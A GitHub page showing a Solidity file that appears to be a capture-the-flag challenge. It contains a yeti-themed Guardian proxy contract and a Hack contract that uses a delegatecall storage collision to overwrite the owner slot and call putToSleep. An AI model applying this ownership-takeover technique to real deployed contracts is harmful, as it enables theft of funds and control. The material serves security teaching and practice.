-
Notifications
You must be signed in to change notification settings - Fork 0
/
Guardian.sol
120 lines (100 loc) · 3.36 KB
/
Guardian.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Guardian
{
bool public asleep;
address public implementation_addr;
uint256 people_mauled;
address public owner;
event putToSleepCall(address, address);
constructor(address _implementation_addr)
{
asleep = false;
implementation_addr = _implementation_addr;
owner = msg.sender;
people_mauled = 0;
}
function putToSleep() external
{
emit putToSleepCall(msg.sender, owner);
require(msg.sender == owner, "You can't do that. The yeti mauls you.");
asleep = true;
}
function punch() external payable
{
if (msg.value > 10_000_000 ether)
{
asleep = true;
}
else
{
people_mauled += 1;
}
}
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view returns (address)
{
return implementation_addr;
}
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overridden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal {}
receive() external payable {}
}
contract Hack {
Guardian target;
constructor(Guardian _target){
target = _target;
}
function hack() external payable {
require(msg.value == 1337, "You need to provide 1337 wei to start the exploit");
bytes memory sig = abi.encodeWithSignature("quickStore(uint8,uint256)",0,uint256(uint160(address(this))));
(bool success, ) = address(target).call{value: 1337}(sig);
require(success);
target.putToSleep();
}
}